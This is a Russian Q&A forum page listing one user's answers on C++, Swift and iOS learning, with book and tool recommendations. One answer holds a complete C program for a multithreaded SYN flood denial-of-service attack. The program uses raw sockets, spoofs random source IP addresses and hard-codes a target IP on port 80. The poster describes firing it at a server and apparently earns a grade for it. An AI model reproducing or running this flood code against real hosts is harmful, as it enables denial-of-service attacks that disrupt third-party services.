Ответы пользователя по тегу C++
  • Как стать IOS разработчиком без продуктов Apple?

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    Если вообще нету возможности приобрести технику Apple или поставит хакинтош, то откладывайте изучение iOS SDK и начинайте изучать язык Swift, есть компилятор для linux систем, для винды не знаю. В любом случае на первых парах учится язык, а не SDK.
    Ответ написан
  • Какой выбрать язык программирования?

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    Большинство ответов, которые тут дали, совершенно не верны. Я не являюсь геймдев разработчиком, но знание языка в геймдеве это 1% от всех знаний, которые нужны для успешного создания игр. В частности под iOS выучить Swift или Objective-C обойдется в 2-3 недели, но освоить фреймворки по типу Metal, SpriteKit займет у тебя несколько месяцев, а то и больше. В геймдеве тебе понадобится математика, алгоритмы, структуры данных и тд, Computer Science вообщем, выбирай школу/универ, где это есть на хорошем уровне.

    Для начала тебе нужно четко определится, чем именно ты хочешь заниматься или писать игры под консоль или под iOS, в зависимости от ответа тебе понадобится определенный стек технологий и язык(и).
    Если выбираешь iOS, то начинай учить Swift.
    Если консоль, то C++ ( или что там нужно)

    Вот здесь есть подкаст про мобайл геймдев, разработчики рассказывают, что к чему, думаю много станет понятно.

    ps Swift не является недоразвитым языком, он находится в стадии разработки, причем текущая версия Swift 4 может считаться стабильной и в будущем будет меняться незначительно.
    Ответ написан
    2 комментария
  • Целесообразно программировать для iOS и Android на C++?

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    Посмотри в сторону Qt

    • C++
    • кроссплатформенность
    • проект активно развивается
    Ответ написан
    3 комментария
  • Какой вариант изучения C++ выбрать?

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    В изучении никакой разницы нет, дополнительные библиотеки (Boost, Qt, etc ...) тебе вряд ли на этом этапе понадобятся, стандартных хватит с головой. На каждой ОС для работы с потоками/процессорами будешь юзать соответсвующее айпи: для windows из process.h, для *nix из pthread.h и т.д. Так что разницы нет, если планируешь в будущем программировать на какой-то определенной ОС, то выбирай ее для экспериментов

    conio.h
    It is not part of the C standard library or ISO C, nor is it defined by POSIX.
    Ответ написан
    2 комментария
  • Программирование на C++ в Windows 8.1?

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    Qt-Creator весьма неплох
    Ответ написан
    Комментировать
  • Вывод информации в консоль, при ожидании ввода с клавиатуры. Возможно?

    tikhonov666
    @tikhonov666 Автор вопроса
    iOS, Swift, Objective-C
    Сделал набросок, вроде работает как надо
    #include <iostream>
    #include <string>
    #include <../boost/thread.hpp>
    #include <../boost/thread/mutex.hpp>
    #include <../boost/bind.hpp>
    boost::mutex io_mutex;
    void outPut(std::string & p)
    {
        sleep(5);
        {
            boost::mutex::scoped_lock lock(io_mutex);
            p+="Qt/Example";
            std::cerr<<std::endl<<p<<":~$ ";
        }
    }
    int main()
    {
        std::string temp, path = "/";
        boost::thread thr1(boost::bind(&outPut,path));
        {
            boost::mutex::scoped_lock lock(io_mutex);
            std::cerr<<"Please";
            sleep(1);
            std::cerr<<" enter your";
            sleep(1);
            std::cerr<<" command>\n";
        }
        std::cerr<<path<<":~$ ";
        std::cin>>temp;
        std::cerr<<temp<<std::endl;
        exit(1);
        return 0;
    }
    Ответ написан
    Комментировать
  • SYN Flood DOS Attack. Как разобраться, что к чему и почему не работает?

    tikhonov666
    @tikhonov666 Автор вопроса
    iOS, Swift, Objective-C
    jcmvbkbc
    struct ip
    spoiler
    /*
    * Structure of an internet header, naked of options.
    */
    struct ip
    {
    #if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ip_hl:4; /* header length */
    unsigned int ip_v:4; /* version */
    #endif
    #if __BYTE_ORDER == __BIG_ENDIAN
    unsigned int ip_v:4; /* version */
    unsigned int ip_hl:4; /* header length */
    #endif
    u_int8_t ip_tos; /* type of service */
    u_short ip_len; /* total length */
    u_short ip_id; /* identification */
    u_short ip_off; /* fragment offset field */
    #define IP_RF 0x8000 /* reserved fragment flag */
    #define IP_DF 0x4000 /* dont fragment flag */
    #define IP_MF 0x2000 /* more fragments flag */
    #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
    u_int8_t ip_ttl; /* time to live */
    u_int8_t ip_p; /* protocol */
    u_short ip_sum; /* checksum */
    struct in_addr ip_src, ip_dst; /* source and dest address */
    };

    htons - функция, которая преобразуют номер порта в бинарный представление.
    getRandStr() -да, спасибо. Исправил ошибку.

    Получившиеся программа:
    spoiler
    /*
        Syn Flood DOS with LINUX sockets
    */
    #include<stdio.h>
    #include<string.h> //memset
    #include<sys/socket.h>
    #include<errno.h> //For errno - the error number
    #include<netinet/tcp.h>   //Provides declarations for tcp header
    #include<netinet/ip.h>    //Provides declarations for ip header
    #include<pthread.h>
    #include<stdlib.h> //for exit(0);
    #include<time.h>
    #define MAXPTHREAD 8
    #define PREY_PORT 80
    void * func(void * arg);
    char * getRandStr();
    struct pseudo_header    //needed for checksum calculation
    {
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
    
        struct tcphdr tcp;
    };
    
    unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
    
        sum=0;
        while(nbytes>1) {
            sum+=*ptr++;
            nbytes-=2;
        }
        if(nbytes==1) {
            oddbyte=0;
            *((u_char*)&oddbyte)=*(u_char*)ptr;
            sum+=oddbyte;
        }
    
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
    
        return(answer);
    }
    
    int main (void)
    {
        srand(time(NULL));
        pthread_t thread;
        int i,pthreadResult;
        for(i=0;i<MAXPTHREAD; ++i)
        {
            pthreadResult=pthread_create(&thread,NULL,&func,getRandStr());
            if(pthreadResult!=0)
                err_sys("Error pthread: %d",i);
        }
        while(1)
            sleep(10);
        return 0;
    }
    void * func(void * arg)
    {
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        char datagram[4096] , source_ip[32];
        struct iphdr *iph = (struct iphdr *) datagram;
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        arg=(char *)arg;
        strcpy(source_ip , arg);
    
        sin.sin_family = AF_INET;
        sin.sin_port = htons(PREY_PORT);
        sin.sin_addr.s_addr = inet_addr ("85.113.47.5");
    
        memset (datagram, 0, 4096); /* zero out the buffer */
    
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 92; /// !!!!
        iph->tot_len = 576; /// sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = 1888; ///  //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;      //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
    
        iph->check = csum ((unsigned short *) datagram, sizeof(*iph));/// iph->tot_len >> 1);
    
        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;      /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840); /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                    should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
    
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
    
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
    
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
    
        int one = 1;
        const int *val = &one;
        if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
            printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
            exit(0);
        }
        char * temp;
        while (1)
        {
            temp=getRandStr();
            iph->saddr = inet_addr ( temp );    //Spoof the source ip address
            sendto (s,      /* our socket */
                        datagram,   /* the buffer containing headers and data */
                        iph->tot_len,    /* total length of our datagram */
                        0,      /* routing flags, normally always 0 */
                        (struct sockaddr *) &sin,   /* socket addr, just like in */
                        sizeof (sin));// < 0)       /* a normal send() */
            free(temp);
        }
    
        return;
    }
    char * getRandStr()
    {
        char * str=(char *)malloc(32+1);
        if(str==NULL)
        {
            printf("Not enough memory for \"malloc\"\n");
            exit(1);
        }
        str[0]='\0';
        strcat(str,"85.114.");
        char buffer[16];
        int nextRandom=rand()%256;
        sprintf(buffer,"%d",nextRandom);
        strcat(str,buffer);
        strcat(str,".");
        nextRandom=rand()%256;
        sprintf(buffer,"%d",nextRandom);
        strcat(str,buffer);
        return str;
    }

    Поставил wireshark, тестил на нём. Покеты SYN приходят в большом количестве и от разных IP. И вроде бы всё хорошо.
    Когда непосредственно отправляю серверу, то результата нет. Запускаю на 7 потоках. Процессы загружены на ~100%, так что даже через браузер и через пинг не получается обратиться к серверу. После закрытия программы, быстро захожу на сайт, а ему хоть бы что.

    throughtheether
    Я Вас не совсем понял. Куда ехать и какие шашечки? Это юмор такой?) Быть может я не догоняю, т.к. начал заниматься этой темой 2 недели назад.
    Идеи пока в голову не приходят, пойду разбираться с hping.

    [UPDATE]
    Получил отлично :)
    Ответ написан
  • Можете посоветовать книгу по C++?

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    Не советую гнаться за идеей, что если книга написана создателем языка, то она является лучшим выбором. Страуструп пишет тяжело и когда пойдёт ООП у вас бы посоветовал Прата С. - Язык программирования С++. Лекции и упражнения. Он объясняет более доступными способами и в кратце описывается стандарт C++11.
    Ответ написан
    Комментировать
  • Книга по решению нестандартных задач на С++

    tikhonov666
    @tikhonov666
    iOS, Swift, Objective-C
    А что скажите если сразу начать со Страуструпа? Для начинающего не подойдёт?
    Ответ написан